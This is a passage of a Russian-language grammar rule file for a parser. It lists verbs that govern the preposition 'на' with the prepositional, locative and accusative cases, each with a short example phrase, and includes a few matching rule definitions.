взгорке rus_verbs:скрыть{}, // скрыть на теле rus_verbs:удерживать{}, // удерживать на руке rus_verbs:усвоить{}, // усвоить на уроке rus_verbs:растаять{}, // растаять на солнечной стороне rus_verbs:красоваться{}, // красоваться на виду rus_verbs:сохраняться{}, // сохраняться на холоде rus_verbs:лечить{}, // лечить на дому rus_verbs:прокатиться{}, // прокатиться на уницикле rus_verbs:договариваться{}, // договариваться на нейтральной территории rus_verbs:качнуться{}, // качнуться на одной ноге rus_verbs:опубликовать{}, // опубликовать на сайте rus_verbs:отражаться{}, // отражаться на поверхности воды rus_verbs:обедать{}, // обедать на веранде rus_verbs:посидеть{}, // посидеть на лавочке rus_verbs:сообщаться{}, // сообщаться на официальном сайте rus_verbs:свершиться{}, // свершиться на заседании rus_verbs:ночевать{}, // ночевать на даче rus_verbs:темнеть{}, // темнеть на свету rus_verbs:гибнуть{}, // гибнуть на территории полигона rus_verbs:усиливаться{}, // усиливаться на территории округа rus_verbs:проживать{}, // проживать на даче rus_verbs:исследовать{}, // исследовать на большой глубине rus_verbs:обитать{}, // обитать на громадной глубине rus_verbs:сталкиваться{}, // сталкиваться на большой высоте rus_verbs:таиться{}, // таиться на большой глубине rus_verbs:спасать{}, // спасать на пожаре rus_verbs:сказываться{}, // сказываться на общем результате rus_verbs:заблудиться{}, // заблудиться на стройке rus_verbs:пошарить{}, // пошарить на полках rus_verbs:планировать{}, // планировать на бумаге rus_verbs:ранить{}, // ранить на полигоне rus_verbs:хлопать{}, // хлопать на сцене rus_verbs:основать{}, // основать на горе новый монастырь rus_verbs:отбить{}, // отбить на столе rus_verbs:отрицать{}, // отрицать на заседании комиссии rus_verbs:устоять{}, // устоять на ногах rus_verbs:отзываться{}, // отзываться на страницах отчёта rus_verbs:притормозить{}, // притормозить на обочине rus_verbs:читаться{}, // читаться на лице rus_verbs:заиграть{}, // заиграть на саксофоне rus_verbs:зависнуть{}, // зависнуть на игровой площадке rus_verbs:сознаться{}, // сознаться на допросе rus_verbs:выясняться{}, // выясняться на очной ставке rus_verbs:наводить{}, // наводить на столе порядок rus_verbs:покоиться{}, // покоиться на кладбище rus_verbs:значиться{}, // значиться на бейджике rus_verbs:съехать{}, // съехать на санках rus_verbs:познакомить{}, // познакомить на свадьбе rus_verbs:завязать{}, // завязать на спине rus_verbs:грохнуть{}, // грохнуть на площади rus_verbs:разъехаться{}, // разъехаться на узкой дороге rus_verbs:столпиться{}, // столпиться на крыльце rus_verbs:порыться{}, // порыться на полках rus_verbs:ослабить{}, // ослабить на шее rus_verbs:оправдывать{}, // оправдывать на суде rus_verbs:обнаруживаться{}, // обнаруживаться на складе rus_verbs:спастись{}, // спастись на дереве rus_verbs:прерваться{}, // прерваться на полуслове rus_verbs:строиться{}, // строиться на пустыре rus_verbs:познать{}, // познать на практике rus_verbs:путешествовать{}, // путешествовать на поезде rus_verbs:побеждать{}, // побеждать на ринге rus_verbs:рассматриваться{}, // рассматриваться на заседании rus_verbs:продаваться{}, // продаваться на открытом рынке rus_verbs:разместиться{}, // разместиться на базе rus_verbs:завыть{}, // завыть на холме rus_verbs:настигнуть{}, // настигнуть на окраине rus_verbs:укрыться{}, // укрыться на чердаке rus_verbs:расплакаться{}, // расплакаться на заседании комиссии rus_verbs:заканчивать{}, // заканчивать на последнем задании rus_verbs:пролежать{}, // пролежать на столе rus_verbs:громоздиться{}, // громоздиться на полу rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе rus_verbs:поскользнуться{}, // поскользнуться на льду rus_verbs:таскать{}, // таскать на спине rus_verbs:просматривать{}, // просматривать на сайте rus_verbs:обдумать{}, // обдумать на досуге rus_verbs:гадать{}, // гадать на кофейной гуще rus_verbs:останавливать{}, // останавливать на выходе rus_verbs:обозначать{}, // обозначать на странице rus_verbs:долететь{}, // долететь на спортивном байке rus_verbs:тесниться{}, // тесниться на чердачке rus_verbs:хоронить{}, // хоронить на частном кладбище rus_verbs:установиться{}, // установиться на юге rus_verbs:прикидывать{}, // прикидывать на клочке бумаги rus_verbs:затаиться{}, // затаиться на дереве rus_verbs:раздобыть{}, // раздобыть на складе rus_verbs:перебросить{}, // перебросить на вертолетах rus_verbs:захватывать{}, // захватывать на базе rus_verbs:сказаться{}, // сказаться на итоговых оценках rus_verbs:покачиваться{}, // покачиваться на волнах rus_verbs:крутиться{}, // крутиться на кухне rus_verbs:помещаться{}, // помещаться на полке rus_verbs:питаться{}, // питаться на помойке rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле rus_verbs:кататься{}, // кататься на велике rus_verbs:поработать{}, // поработать на стройке rus_verbs:ограбить{}, // ограбить на пустыре rus_verbs:зарабатывать{}, // зарабатывать на бирже rus_verbs:преуспеть{}, // преуспеть на ниве искусства rus_verbs:заерзать{}, // заерзать на стуле rus_verbs:разъяснить{}, // разъяснить на полях rus_verbs:отчеканить{}, // отчеканить на медной пластине rus_verbs:торговать{}, // торговать на рынке rus_verbs:поколебаться{}, // поколебаться на пороге rus_verbs:прикинуть{}, // прикинуть на бумажке rus_verbs:рассечь{}, // рассечь на тупом конце rus_verbs:посмеяться{}, // посмеяться на переменке rus_verbs:остыть{}, // остыть на морозном воздухе rus_verbs:запереться{}, // запереться на чердаке rus_verbs:обогнать{}, // обогнать на повороте rus_verbs:подтянуться{}, // подтянуться на турнике rus_verbs:привозить{}, // привозить на машине rus_verbs:подбирать{}, // подбирать на полу rus_verbs:уничтожать{}, // уничтожать на подходе rus_verbs:притаиться{}, // притаиться на вершине rus_verbs:плясать{}, // плясать на костях rus_verbs:поджидать{}, // поджидать на вокзале rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!) rus_verbs:смениться{}, // смениться на посту rus_verbs:посчитать{}, // посчитать на пальцах rus_verbs:прицелиться{}, // прицелиться на бегу rus_verbs:нарисовать{}, // нарисовать на стене rus_verbs:прыгать{}, // прыгать на сцене rus_verbs:повертеть{}, // повертеть на пальце rus_verbs:попрощаться{}, // попрощаться на панихиде инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване rus_verbs:разобрать{}, // разобрать на столе rus_verbs:помереть{}, // помереть на чужбине rus_verbs:различить{}, // различить на нечеткой фотографии rus_verbs:рисовать{}, // рисовать на доске rus_verbs:проследить{}, // проследить на экране rus_verbs:задремать{}, // задремать на диване rus_verbs:ругаться{}, // ругаться на людях rus_verbs:сгореть{}, // сгореть на работе rus_verbs:зазвучать{}, // зазвучать на коротких волнах rus_verbs:задохнуться{}, // задохнуться на вершине горы rus_verbs:порождать{}, // порождать на поверхности небольшую рябь rus_verbs:отдыхать{}, // отдыхать на курорте rus_verbs:образовать{}, // образовать на дне толстый слой rus_verbs:поправиться{}, // поправиться на дармовых харчах rus_verbs:отмечать{}, // отмечать на календаре rus_verbs:реять{}, // реять на флагштоке rus_verbs:ползти{}, // ползти на коленях rus_verbs:продавать{}, // продавать на аукционе rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче rus_verbs:рыскать{}, // мышки рыскали на кухне rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы rus_verbs:напасть{}, // напасть на территории другого государства rus_verbs:издать{}, // издать на западе rus_verbs:оставаться{}, // оставаться на страже порядка rus_verbs:появиться{}, // наконец появиться на экране rus_verbs:лежать{}, // лежать на столе rus_verbs:ждать{}, // ждать на берегу инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге глагол:писать{aux stress="пис^ать"}, rus_verbs:оказываться{}, // оказываться на полу rus_verbs:поставить{}, // поставить на столе rus_verbs:держать{}, // держать на крючке rus_verbs:выходить{}, // выходить на остановке rus_verbs:заговорить{}, // заговорить на китайском языке rus_verbs:ожидать{}, // ожидать на стоянке rus_verbs:закричать{}, // закричал на минарете муэдзин rus_verbs:простоять{}, // простоять на посту rus_verbs:продолжить{}, // продолжить на первом этаже rus_verbs:ощутить{}, // ощутить на себе влияние кризиса rus_verbs:состоять{}, // состоять на учете rus_verbs:готовиться{}, инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте глагол:акклиматизироваться{вид:несоверш}, rus_verbs:арестовать{}, // грабители были арестованы на месте преступления rus_verbs:схватить{}, // грабители были схвачены на месте преступления инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе глагол:атаковать{ вид:соверш }, прилагательное:атакованный{ вид:соверш }, прилагательное:атаковавший{ вид:соверш }, rus_verbs:базировать{}, // установка будет базирована на границе rus_verbs:базироваться{}, // установка базируется на границе rus_verbs:барахтаться{}, // дети барахтались на мелководье rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке rus_verbs:бренчать{}, // парень что-то бренчал на гитаре rus_verbs:бренькать{}, // парень что-то бренькает на гитаре rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории. rus_verbs:буксовать{}, // Колеса буксуют на льду rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле rus_verbs:взвести{}, // Боец взвел на оружии предохранитель rus_verbs:вилять{}, // Машина сильно виляла на дороге rus_verbs:висеть{}, // Яблоко висит на ветке rus_verbs:возлежать{}, // возлежать на лежанке rus_verbs:подниматься{}, // Мы поднимаемся на лифте rus_verbs:подняться{}, // Мы поднимемся на лифте rus_verbs:восседать{}, // Коля восседает на лошади rus_verbs:воссиять{}, // Луна воссияла на небе rus_verbs:воцариться{}, // Мир воцарился на всей земле rus_verbs:воцаряться{}, // Мир воцаряется на всей земле rus_verbs:вращать{}, // вращать на поясе rus_verbs:вращаться{}, // вращаться на поясе rus_verbs:встретить{}, // встретить друга на улице rus_verbs:встретиться{}, // встретиться на занятиях rus_verbs:встречать{}, // встречать на занятиях rus_verbs:въебывать{}, // въебывать на работе rus_verbs:въезжать{}, // въезжать на автомобиле rus_verbs:въехать{}, // въехать на автомобиле rus_verbs:выгорать{}, // ткань выгорает на солнце rus_verbs:выгореть{}, // ткань выгорела на солнце rus_verbs:выгравировать{}, // выгравировать на табличке надпись rus_verbs:выжить{}, // выжить на необитаемом острове rus_verbs:вылежаться{}, // помидоры вылежались на солнце rus_verbs:вылеживаться{}, // вылеживаться на солнце rus_verbs:выместить{}, // выместить на ком-то злобу rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение rus_verbs:вымещаться{}, // вымещаться на ком-то rus_verbs:выращивать{}, // выращивать на грядке помидоры rus_verbs:выращиваться{}, // выращиваться на грядке инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись глагол:вырезать{вид:соверш}, инфинитив:вырезать{вид:несоверш}, глагол:вырезать{вид:несоверш}, rus_verbs:вырисоваться{}, // вырисоваться на графике rus_verbs:вырисовываться{}, // вырисовываться на графике rus_verbs:высаживать{}, // высаживать на необитаемом острове rus_verbs:высаживаться{}, // высаживаться на острове rus_verbs:высвечивать{}, // высвечивать на дисплее температуру rus_verbs:высвечиваться{}, // высвечиваться на дисплее rus_verbs:выстроить{}, // выстроить на фундаменте rus_verbs:выстроиться{}, // выстроиться на плацу rus_verbs:выстудить{}, // выстудить на морозе rus_verbs:выстудиться{}, // выстудиться на морозе rus_verbs:выстужать{}, // выстужать на морозе rus_verbs:выстуживать{}, // выстуживать на морозе rus_verbs:выстуживаться{}, // выстуживаться на морозе rus_verbs:выстукать{}, // выстукать на клавиатуре rus_verbs:выстукивать{}, // выстукивать на клавиатуре rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре rus_verbs:выступать{}, // выступать на сцене rus_verbs:выступить{}, // выступить на сцене rus_verbs:выстучать{}, // выстучать на клавиатуре rus_verbs:выстывать{}, // выстывать на морозе rus_verbs:выстыть{}, // выстыть на морозе rus_verbs:вытатуировать{}, // вытатуировать на руке якорь rus_verbs:говорить{}, // говорить на повышенных тонах rus_verbs:заметить{}, // заметить на берегу rus_verbs:стоять{}, // твёрдо стоять на ногах rus_verbs:оказаться{}, // оказаться на передовой линии rus_verbs:почувствовать{}, // почувствовать на своей шкуре rus_verbs:остановиться{}, // остановиться на первом пункте rus_verbs:показаться{}, // показаться на горизонте rus_verbs:чувствовать{}, // чувствовать на своей шкуре rus_verbs:искать{}, // искать на открытом пространстве rus_verbs:иметься{}, // иметься на складе rus_verbs:клясться{}, // клясться на Коране rus_verbs:прервать{}, // прервать на полуслове rus_verbs:играть{}, // играть на чувствах rus_verbs:спуститься{}, // спуститься на парашюте rus_verbs:понадобиться{}, // понадобиться на экзамене rus_verbs:служить{}, // служить на флоте rus_verbs:подобрать{}, // подобрать на улице rus_verbs:появляться{}, // появляться на сцене rus_verbs:селить{}, // селить на чердаке rus_verbs:поймать{}, // поймать на границе rus_verbs:увидать{}, // увидать на опушке rus_verbs:подождать{}, // подождать на перроне rus_verbs:прочесть{}, // прочесть на полях rus_verbs:тонуть{}, // тонуть на мелководье rus_verbs:ощущать{}, // ощущать на коже rus_verbs:отметить{}, // отметить на полях rus_verbs:показывать{}, // показывать на графике rus_verbs:разговаривать{}, // разговаривать на иностранном языке rus_verbs:прочитать{}, // прочитать на сайте rus_verbs:попробовать{}, // попробовать на практике rus_verbs:замечать{}, // замечать на коже грязь rus_verbs:нести{}, // нести на плечах rus_verbs:носить{}, // носить на голове rus_verbs:гореть{}, // гореть на работе rus_verbs:застыть{}, // застыть на пороге инфинитив:жениться{ вид:соверш }, // жениться на королеве глагол:жениться{ вид:соверш }, прилагательное:женатый{}, прилагательное:женившийся{}, rus_verbs:спрятать{}, // спрятать на чердаке rus_verbs:развернуться{}, // развернуться на плацу rus_verbs:строить{}, // строить на песке rus_verbs:устроить{}, // устроить на даче тестральный вечер rus_verbs:настаивать{}, // настаивать на выполнении приказа rus_verbs:находить{}, // находить на берегу rus_verbs:мелькнуть{}, // мелькнуть на экране rus_verbs:очутиться{}, // очутиться на опушке леса инфинитив:использовать{вид:соверш}, // использовать на работе глагол:использовать{вид:соверш}, инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, прилагательное:использованный{}, прилагательное:использующий{}, прилагательное:использовавший{}, rus_verbs:лететь{}, // лететь на воздушном шаре rus_verbs:смеяться{}, // смеяться на сцене rus_verbs:ездить{}, // ездить на мопеде rus_verbs:заснуть{}, // заснуть на диване rus_verbs:застать{}, // застать на рабочем месте rus_verbs:очнуться{}, // очнуться на больничной койке rus_verbs:разглядеть{}, // разглядеть на фотографии rus_verbs:обойти{}, // обойти на вираже rus_verbs:удержаться{}, // удержаться на троне rus_verbs:побывать{}, // побывать на другой планете rus_verbs:заняться{}, // заняться на выходных делом rus_verbs:вянуть{}, // вянуть на солнце rus_verbs:постоять{}, // постоять на голове rus_verbs:приобрести{}, // приобрести на распродаже rus_verbs:попасться{}, // попасться на краже rus_verbs:продолжаться{}, // продолжаться на земле rus_verbs:открывать{}, // открывать на арене rus_verbs:создавать{}, // создавать на сцене rus_verbs:обсуждать{}, // обсуждать на кухне rus_verbs:отыскать{}, // отыскать на полу rus_verbs:уснуть{}, // уснуть на диване rus_verbs:задержаться{}, // задержаться на работе rus_verbs:курить{}, // курить на свежем воздухе rus_verbs:приподняться{}, // приподняться на локтях rus_verbs:установить{}, // установить на вершине rus_verbs:запереть{}, // запереть на балконе rus_verbs:синеть{}, // синеть на воздухе rus_verbs:убивать{}, // убивать на нейтральной территории rus_verbs:скрываться{}, // скрываться на даче rus_verbs:родить{}, // родить на полу rus_verbs:описать{}, // описать на страницах книги rus_verbs:перехватить{}, // перехватить на подлете rus_verbs:скрывать{}, // скрывать на даче rus_verbs:сменить{}, // сменить на посту rus_verbs:мелькать{}, // мелькать на экране rus_verbs:присутствовать{}, // присутствовать на мероприятии rus_verbs:украсть{}, // украсть на рынке rus_verbs:победить{}, // победить на ринге rus_verbs:упомянуть{}, // упомянуть на страницах романа rus_verbs:плыть{}, // плыть на старой лодке rus_verbs:повиснуть{}, // повиснуть на перекладине rus_verbs:нащупать{}, // нащупать на дне rus_verbs:затихнуть{}, // затихнуть на дне rus_verbs:построить{}, // построить на участке rus_verbs:поддерживать{}, // поддерживать на поверхности rus_verbs:заработать{}, // заработать на бирже rus_verbs:провалиться{}, // провалиться на экзамене rus_verbs:сохранить{}, // сохранить на диске rus_verbs:располагаться{}, // располагаться на софе rus_verbs:поклясться{}, // поклясться на библии rus_verbs:сражаться{}, // сражаться на арене rus_verbs:спускаться{}, // спускаться на дельтаплане rus_verbs:уничтожить{}, // уничтожить на подступах rus_verbs:изучить{}, // изучить на практике rus_verbs:рождаться{}, // рождаться на праздниках rus_verbs:прилететь{}, // прилететь на самолете rus_verbs:догнать{}, // догнать на перекрестке rus_verbs:изобразить{}, // изобразить на бумаге rus_verbs:проехать{}, // проехать на тракторе rus_verbs:приготовить{}, // приготовить на масле rus_verbs:споткнуться{}, // споткнуться на полу rus_verbs:собирать{}, // собирать на берегу rus_verbs:отсутствовать{}, // отсутствовать на тусовке rus_verbs:приземлиться{}, // приземлиться на военном аэродроме rus_verbs:сыграть{}, // сыграть на трубе rus_verbs:прятаться{}, // прятаться на даче rus_verbs:спрятаться{}, // спрятаться на чердаке rus_verbs:провозгласить{}, // провозгласить на митинге rus_verbs:изложить{}, // изложить на бумаге rus_verbs:использоваться{}, // использоваться на практике rus_verbs:замяться{}, // замяться на входе rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота rus_verbs:сверкнуть{}, // сверкнуть на солнце rus_verbs:сверкать{}, // сверкать на свету rus_verbs:задержать{}, // задержать на митинге rus_verbs:осечься{}, // осечься на первом слове rus_verbs:хранить{}, // хранить на банковском счету rus_verbs:шутить{}, // шутить на уроке rus_verbs:кружиться{}, // кружиться на балу rus_verbs:чертить{}, // чертить на доске rus_verbs:отразиться{}, // отразиться на оценках rus_verbs:греть{}, // греть на солнце rus_verbs:рассуждать{}, // рассуждать на страницах своей книги rus_verbs:окружать{}, // окружать на острове rus_verbs:сопровождать{}, // сопровождать на охоте rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте rus_verbs:содержаться{}, // содержаться на приусадебном участке rus_verbs:поселиться{}, // поселиться на даче rus_verbs:запеть{}, // запеть на сцене инфинитив:провозить{ вид:несоверш }, // провозить на теле глагол:провозить{ вид:несоверш }, прилагательное:провезенный{}, прилагательное:провозивший{вид:несоверш}, прилагательное:провозящий{вид:несоверш}, деепричастие:провозя{}, rus_verbs:мочить{}, // мочить на месте rus_verbs:преследовать{}, // преследовать на территории другого штата rus_verbs:пролететь{}, // пролетел на параплане rus_verbs:драться{}, // драться на рапирах rus_verbs:просидеть{}, // просидеть на занятиях rus_verbs:убираться{}, // убираться на балконе rus_verbs:таять{}, // таять на солнце rus_verbs:проверять{}, // проверять на полиграфе rus_verbs:убеждать{}, // убеждать на примере rus_verbs:скользить{}, // скользить на льду rus_verbs:приобретать{}, // приобретать на распродаже rus_verbs:летать{}, // летать на метле rus_verbs:толпиться{}, // толпиться на перроне rus_verbs:плавать{}, // плавать на надувном матрасе rus_verbs:описывать{}, // описывать на страницах повести rus_verbs:пробыть{}, // пробыть на солнце слишком долго rus_verbs:застрять{}, // застрять на верхнем этаже rus_verbs:метаться{}, // метаться на полу rus_verbs:сжечь{}, // сжечь на костре rus_verbs:расслабиться{}, // расслабиться на кушетке rus_verbs:услыхать{}, // услыхать на рынке rus_verbs:удержать{}, // удержать на прежнем уровне rus_verbs:образоваться{}, // образоваться на дне rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа rus_verbs:уезжать{}, // уезжать на попутке rus_verbs:похоронить{}, // похоронить на закрытом кладбище rus_verbs:настоять{}, // настоять на пересмотре оценок rus_verbs:растянуться{}, // растянуться на горячем песке rus_verbs:покрутить{}, // покрутить на шесте rus_verbs:обнаружиться{}, // обнаружиться на болоте rus_verbs:гулять{}, // гулять на свадьбе rus_verbs:утонуть{}, // утонуть на курорте rus_verbs:храниться{}, // храниться на депозите rus_verbs:танцевать{}, // танцевать на свадьбе rus_verbs:трудиться{}, // трудиться на заводе инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати глагол:засыпать{переходность:непереходный вид:несоверш}, деепричастие:засыпая{переходность:непереходный вид:несоверш}, прилагательное:засыпавший{переходность:непереходный вид:несоверш}, прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках rus_verbs:сушить{}, // сушить на открытом воздухе rus_verbs:зашевелиться{}, // зашевелиться на чердаке rus_verbs:обдумывать{}, // обдумывать на досуге rus_verbs:докладывать{}, // докладывать на научной конференции rus_verbs:промелькнуть{}, // промелькнуть на экране // прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории прилагательное:написанный{}, // слово, написанное на заборе rus_verbs:умещаться{}, // компьютер, умещающийся на ладони rus_verbs:открыть{}, // книга, открытая на последней странице rus_verbs:спать{}, // йог, спящий на гвоздях rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте rus_verbs:отобразиться{}, // удивление, отобразившееся на лице rus_verbs:увидеть{}, // на полу я увидел чьи-то следы rus_verbs:видеть{}, // на полу я вижу чьи-то следы rus_verbs:оставить{}, // Мел оставил на доске белый след. rus_verbs:оставлять{}, // Мел оставляет на доске белый след. rus_verbs:встречаться{}, // встречаться на лекциях rus_verbs:познакомиться{}, // познакомиться на занятиях rus_verbs:устроиться{}, // она устроилась на кровати rus_verbs:ложиться{}, // ложись на полу rus_verbs:останавливаться{}, // останавливаться на достигнутом rus_verbs:спотыкаться{}, // спотыкаться на ровном месте rus_verbs:распечатать{}, // распечатать на бумаге rus_verbs:распечатывать{}, // распечатывать на бумаге rus_verbs:просмотреть{}, // просмотреть на бумаге rus_verbs:закрепляться{}, // закрепляться на плацдарме rus_verbs:погреться{}, // погреться на солнышке rus_verbs:мешать{}, // Он мешал краски на палитре. rus_verbs:занять{}, // Он занял первое место на соревнованиях. rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках. деепричастие:женившись{ вид:соверш }, rus_verbs:везти{}, // Он везёт песок на тачке. прилагательное:казненный{}, // Он был казнён на электрическом стуле. rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче. rus_verbs:принести{}, // Официантка принесла нам обед на подносе. rus_verbs:переписать{}, // Перепишите эту рукопись на машинке. rus_verbs:идти{}, // Поезд идёт на малой скорости. rus_verbs:петь{}, // птички поют на рассвете rus_verbs:смотреть{}, // Смотри на обороте. rus_verbs:прибрать{}, // прибрать на столе rus_verbs:прибраться{}, // прибраться на столе rus_verbs:растить{}, // растить капусту на огороде rus_verbs:тащить{}, // тащить ребенка на руках rus_verbs:убирать{}, // убирать на столе rus_verbs:простыть{}, // Я простыл на морозе. rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе. rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках. rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге. rus_verbs:вскочить{}, // У него вскочил прыщ на носу. rus_verbs:свить{}, // У нас на балконе воробей свил гнездо. rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица. rus_verbs:восходить{}, // Солнце восходит на востоке. rus_verbs:блестеть{}, // Снег блестит на солнце. rus_verbs:побить{}, // Рысак побил всех лошадей на скачках. rus_verbs:литься{}, // Реки крови льются на войне. rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах. rus_verbs:клубиться{}, // Пыль клубится на дороге. инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке. // глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути // инфинитив:находиться{вид:несоверш}, rus_verbs:жить{}, // Было интересно жить на курорте. rus_verbs:повидать{}, // Он много повидал на своём веку. rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду. rus_verbs:расположиться{}, // Оба села расположились на берегу реки. rus_verbs:объясняться{}, // Они объясняются на иностранном языке. rus_verbs:прощаться{}, // Они долго прощались на вокзале. rus_verbs:работать{}, // Она работает на ткацкой фабрике. rus_verbs:купить{}, // Она купила молоко на рынке. rus_verbs:поместиться{}, // Все книги поместились на полке. глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике. rus_verbs:пожить{}, // Недолго она пожила на свете. rus_verbs:краснеть{}, // Небо краснеет на закате. rus_verbs:бывать{}, // На Волге бывает сильное волнение. rus_verbs:ехать{}, // Мы туда ехали на автобусе. rus_verbs:провести{}, // Мы провели месяц на даче. rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице. rus_verbs:расти{}, // Арбузы растут теперь не только на юге. ГЛ_ИНФ(сидеть), // три больших пса сидят на траве ГЛ_ИНФ(сесть), // три больших пса сели на траву ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль ГЛ_ИНФ(повезти), // я повезу тебя на машине ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси ГЛ_ИНФ(пить), // пить на кухне чай ГЛ_ИНФ(найти), // найти на острове ГЛ_ИНФ(быть), // на этих костях есть следы зубов ГЛ_ИНФ(высадиться), // помощники высадились на острове ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове ГЛ_ИНФ(случиться), // это случилось на опушке леса ГЛ_ИНФ(продать), ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: смотреть на youtube fact гл_предл { if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} } then return true } // локатив fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} } then return true } #endregion ПРЕДЛОЖНЫЙ #region ВИНИТЕЛЬНЫЙ // НА+винительный падеж: // ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ #region VerbList wordentry_set Гл_НА_Вин= { rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили. rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку. rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай. rus_verbs:умножить{}, // Умножьте это количество примерно на 10. //rus_verbs:умножать{}, rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу. rus_verbs:откатывать{}, rus_verbs:доносить{}, // Вот и побежали на вас доносить. rus_verbs:донести{}, rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали. безлич_глагол:хватит{}, // - На одну атаку хватит. rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты. rus_verbs:поскупиться{}, // Не поскупись на похвалы! rus_verbs:подыматься{}, rus_verbs:транспортироваться{}, rus_verbs:бахнуть{}, // Бахнуть стакан на пол rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ) rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ) rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ) rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ) rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ) rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ) rus_verbs:БРЫЗГАТЬ{}, rus_verbs:БРЫЗНУТЬ{}, rus_verbs:КАПНУТЬ{}, rus_verbs:КАПАТЬ{}, rus_verbs:ПОКАПАТЬ{}, rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ) rus_verbs:ОХОТИТЬСЯ{}, // rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ) rus_verbs:НАРВАТЬСЯ{}, // rus_verbs:НАТОЛКНУТЬСЯ{}, // rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ) прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ) rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ) rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ) rus_verbs:СТАЛКИВАТЬ{}, // rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ) rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ) rus_verbs:ПЕРЕБРОСИТЬ{}, // rus_verbs:НАБРАСЫВАТЬ{}, // rus_verbs:НАБРОСИТЬ{}, // rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. 